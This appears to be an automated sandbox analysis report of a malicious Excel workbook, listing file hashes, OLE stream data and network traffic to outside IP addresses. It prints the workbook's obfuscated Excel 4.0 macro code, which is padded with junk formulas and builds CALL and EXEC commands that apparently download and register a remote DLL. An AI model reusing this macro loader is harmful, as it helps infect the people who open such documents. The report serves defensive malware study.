| SHA-256: | 213251961F0F8368357279C251E5A039E3DDFA84D4E7782332A351F438AAE84D |
| SHA-512: | 2687C82674171B87B3696D699EDD11F499561D3C42AD73439BA6842A364AF62AC269A6DE77E29D96376F3B47816E050BC03AD81DCBA0F74CB271D849C9755DE7 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 920 |
| Entropy (8bit): | 4.674719994764259 |
| Encrypted: | false |
| SSDEEP: | 12:8WWcDUCZeCHqqGm013kXeMhm89Q+WMEjAt/rbDKTb1e0b1eZ44t2Y+xIBjKZm:8WWQV013WUqQAtvDKmw7aB6m |
| MD5: | 973B9490CB522985CD0C6A42BB22B33C |
| SHA1: | 252D0CA54B4CADF7DD9ED0027E6928F0391AA346 |
| SHA-256: | DC29E140AD5EEFFB07497288F6613586AD2B038F558035D1071D3E69DA321049 |
| SHA-512: | 68240AFA363191777B77B91A69974162FA09574DF9B12766237F0FE26BE20ECC1F376860CA19CE833D64096927BC47329DF1987B9CC9F65D8FD53FFDAB8F3467 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 136 |
| Entropy (8bit): | 4.825125662486227 |
| Encrypted: | false |
| SSDEEP: | 3:bDesBVomMFQViCGUwSLMp6luiCGUwSLMp6lmMFQViCGUwSLMp6lv:bSsj6FQsChNeiChNbFQsChNf |
| MD5: | C093AF019A1C3F8706657DACCE797D82 |
| SHA1: | CE6DA4D539F1C6E07CE234C7FFC56932A5AB346B |
| SHA-256: | 10428BD9B7129AB405CB9FA0D164CF0645B7C7FC06D1B3882CF0551406EE8B95 |
| SHA-512: | 06635DD134A0DB752B2E4E2198B0882FA01BA46CD8413AFC80119A17E9DCDEF46816388622349C179D37F332DEFB11ED1C7799BB1D0825DC5151BCE4BDF44E92 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 22 |
| Entropy (8bit): | 2.9808259362290785 |
| Encrypted: | false |
| SSDEEP: | 3:QAlX0Gn:QKn |
| MD5: | 7962B839183642D3CDC2F9CEBDBF85CE |
| SHA1: | 2BE8F6F309962ED367866F6E70668508BC814C2D |
| SHA-256: | 5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6 |
| SHA-512: | 2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 228873 |
| Entropy (8bit): | 5.616594673155463 |
| Encrypted: | false |
| SSDEEP: | 3072:57NiRdSD8YNoTU90u5fzn3bW0X7vrPlsrXvLlL7L+7NiuJ:+RdTrTU9ZQ/uJ |
| MD5: | 5CD0B37848F5BA53896F036BC52F5823 |
| SHA1: | 3868D1E1EEB7803F79E1EBF5741EAF9F7E6A3772 |
| SHA-256: | 53B6107D1F6EF82AF1014BD20456767BBC812BDC9C16BD9F4FE6E19B82059FF5 |
| SHA-512: | EBE73A3527FB9D7AF99A6C9B3B0A84252089E9C5726E1C69A9233F7AECCFF15A89DE6449F7DFCE56348CD058BCDD46CE89F644BA887C8DBE51AC51791B9B48C9 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
Static File Info |
|---|
General | |
|---|---|
| File type: | |
| Entropy (8bit): | 3.258986427712615 |
| TrID: |
|
| File name: | 85095f36_by_Libranalysis.xls |
| File size: | 375808 |
| MD5: | 85095f36d19d0a0cc635a9e255730ea0 |
| SHA1: | 8ec5f0d784134f08bce52949027a686cd099acd8 |
| SHA256: | a4a5606ff24d70f51f72a501a370ab2199548d4d3a88e904cb9cfafb824d8af2 |
| SHA512: | b95d86d75bc04d974061657cc4183c117f3a6b88ea21fb3d7e30ce1631bd8cd92928990954d9bf669d68a16b7748ca7d43246abd445fddbd29e898720c7d14d1 |
| SSDEEP: | 3072:Q8UGHv2tt/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/I/T/tbHm7H9G4l+s2k3zN4sbc9:vUGAt6Uqa5DPdG9uS9QLp4l+s+I8 |
| File Content Preview: | ........................>...................................................................................................................................................................................................................................... |
File Icon |
|---|
 | |
| Icon Hash: | 74ecd4c6c3c6c4d8 |
Static OLE Info |
|---|
General | ||
|---|---|---|
| Document Type: | OLE | |
| Number of OLE Files: | 1 | |
OLE File "85095f36_by_Libranalysis.xls" |
|---|
Indicators | |
|---|---|
| Has Summary Info: | True |
| Application Name: | Microsoft Excel |
| Encrypted Document: | False |
| Contains Word Document Stream: | False |
| Contains Workbook/Book Stream: | True |
| Contains PowerPoint Document Stream: | False |
| Contains Visio Document Stream: | False |
| Contains ObjectPool Stream: | |
| Flash Objects Count: | |
| Contains VBA Macros: | True |
Summary | |
|---|---|
| Code Page: | 1251 |
| Author: | |
| Last Saved By: | |
| Create Time: | 2006-09-16 00:00:00 |
| Last Saved Time: | 2021-05-12 07:24:11 |
| Creating Application: | |
| Security: | 0 |
Document Summary | |
|---|---|
| Document Code Page: | 1251 |
| Thumbnail Scaling Desired: | False |
| Contains Dirty Links: | False |
Streams |
|---|
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5DocumentSummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.287037498961 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c 1 . . . . . D o c 2 . . . . . D o c 3 . . . . . D o c 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 74 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 04 00 00 00 |
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5SummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.290777742057 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v a n - v a n . . . . . . . . . v i - v i . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00 |
Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283 |
|---|
General | |
|---|---|
| Stream Path: | Book |
| File Type: | Applesoft BASIC program data, first line number 8 |
| Stream Size: | 363283 |
| Entropy: | 3.24522262131 |
| Base64 Encoded: | True |
| Data ASCII: | . . . . . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . v i - v i B . . . . . . . . . . . . . . . . . . . . . . . D o c 3 . . . . . . . . . . . . . . . . . . _ x l f n . A G G R E G A T E . . . . . . . . . . . . . . . . . . . . _ x l f n . F . I N V . R T . . . . ! . . . . . |
| Data Raw: | 09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
Macro 4.0 Code |
|---|
CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0.sheet!AU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet!AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!BC29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""A"",before.3.5.0.she"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&""1"",0,!AL21)=RUN(Doc4!AM6)"
"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC17&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC18&""1""&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeNetwork Behavior |
|---|
Network Port Distribution |
|---|
TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| May 12, 2021 21:14:16.590965033 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:16.751008034 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:16.751106024 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:16.753143072 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:16.911761999 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:16.985055923 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:16.985097885 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:16.985111952 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:16.985120058 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:16.985146046 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:16.996124983 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.154994965 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.155457020 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.155559063 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.156337023 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.357965946 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.412483931 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.412667990 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.412847996 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.412918091 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.412971973 CEST | 49696 | 443 | 192.168.2.7 | 192.185.39.58 |
| May 12, 2021 21:14:17.489748001 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:17.577756882 CEST | 443 | 49696 | 192.185.39.58 | 192.168.2.7 |
| May 12, 2021 21:14:17.648061037 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:17.648232937 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:17.648916006 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:17.809278965 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:17.812905073 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:17.812944889 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:17.812964916 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:17.813004971 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:17.813033104 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:17.822004080 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:18.024058104 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:18.031673908 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:18.031825066 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:18.032620907 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:18.190522909 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:18.681673050 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:18.681813955 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:18.682029963 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
| May 12, 2021 21:14:18.682075977 CEST | 49698 | 443 | 192.168.2.7 | 192.185.32.232 |
| May 12, 2021 21:14:48.682174921 CEST | 443 | 49698 | 192.185.32.232 | 192.168.2.7 |
UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| May 12, 2021 21:13:59.679435015 CEST | 62452 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:13:59.729752064 CEST | 53 | 62452 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:00.893695116 CEST | 57820 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:00.945133924 CEST | 53 | 57820 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:04.349562883 CEST | 50848 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:04.398363113 CEST | 53 | 50848 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:04.442704916 CEST | 61242 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:04.515603065 CEST | 53 | 61242 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:05.909216881 CEST | 58562 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:05.957914114 CEST | 53 | 58562 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:11.165891886 CEST | 56590 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:11.214657068 CEST | 53 | 56590 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:11.234631062 CEST | 60501 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:11.306921959 CEST | 53 | 60501 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:12.281774998 CEST | 53775 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:12.376241922 CEST | 53 | 53775 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:12.827092886 CEST | 51837 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:12.922458887 CEST | 53 | 51837 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:13.844841957 CEST | 51837 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:13.904934883 CEST | 53 | 51837 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:14.853281021 CEST | 51837 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:14.934639931 CEST | 53 | 51837 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:16.531063080 CEST | 55411 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:16.588973045 CEST | 53 | 55411 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:16.601891041 CEST | 63668 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:16.651472092 CEST | 53 | 63668 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:16.891980886 CEST | 51837 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:16.951903105 CEST | 53 | 51837 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:17.428313971 CEST | 54640 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:17.487384081 CEST | 53 | 54640 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:18.166594028 CEST | 58739 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:18.219002008 CEST | 53 | 58739 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:20.247447968 CEST | 60338 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:20.298130989 CEST | 53 | 60338 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:20.945103884 CEST | 51837 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:21.010276079 CEST | 53 | 51837 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:21.659816027 CEST | 58717 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:21.708542109 CEST | 53 | 58717 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:22.172815084 CEST | 59762 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:22.252585888 CEST | 53 | 59762 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:23.187743902 CEST | 54329 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:23.244987011 CEST | 53 | 54329 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:25.427805901 CEST | 58052 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:25.480015039 CEST | 53 | 58052 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:26.337647915 CEST | 54008 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:26.386578083 CEST | 53 | 54008 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:27.348054886 CEST | 59451 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:27.396784067 CEST | 53 | 59451 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:28.379065037 CEST | 52914 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:28.428435087 CEST | 53 | 52914 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:29.819094896 CEST | 64569 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:29.868120909 CEST | 53 | 64569 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:31.385750055 CEST | 52816 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:31.449348927 CEST | 53 | 52816 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:31.703587055 CEST | 50781 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:31.763199091 CEST | 53 | 50781 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:33.120698929 CEST | 54230 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:33.169713020 CEST | 53 | 54230 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:34.069227934 CEST | 54911 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:34.117929935 CEST | 53 | 54911 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:35.341445923 CEST | 49958 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:35.390192986 CEST | 53 | 49958 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:36.572942019 CEST | 50860 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:36.621762037 CEST | 53 | 50860 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:38.131006002 CEST | 50452 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:38.179780006 CEST | 53 | 50452 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:14:55.121938944 CEST | 59730 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:14:55.180742025 CEST | 53 | 59730 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:15:03.704472065 CEST | 59310 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:15:03.776784897 CEST | 53 | 59310 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:15:41.472454071 CEST | 51919 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:15:41.534256935 CEST | 53 | 51919 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:15:51.369874001 CEST | 64296 | 53 | 192.168.2.7 | 8.8.8.8 |
| May 12, 2021 21:15:51.427200079 CEST | 53 | 64296 | 8.8.8.8 | 192.168.2.7 |
| May 12, 2021 21:16:19.047452927 CEST | 56680 | 53 | 192.168.2.7 | 8.8.8.8 |
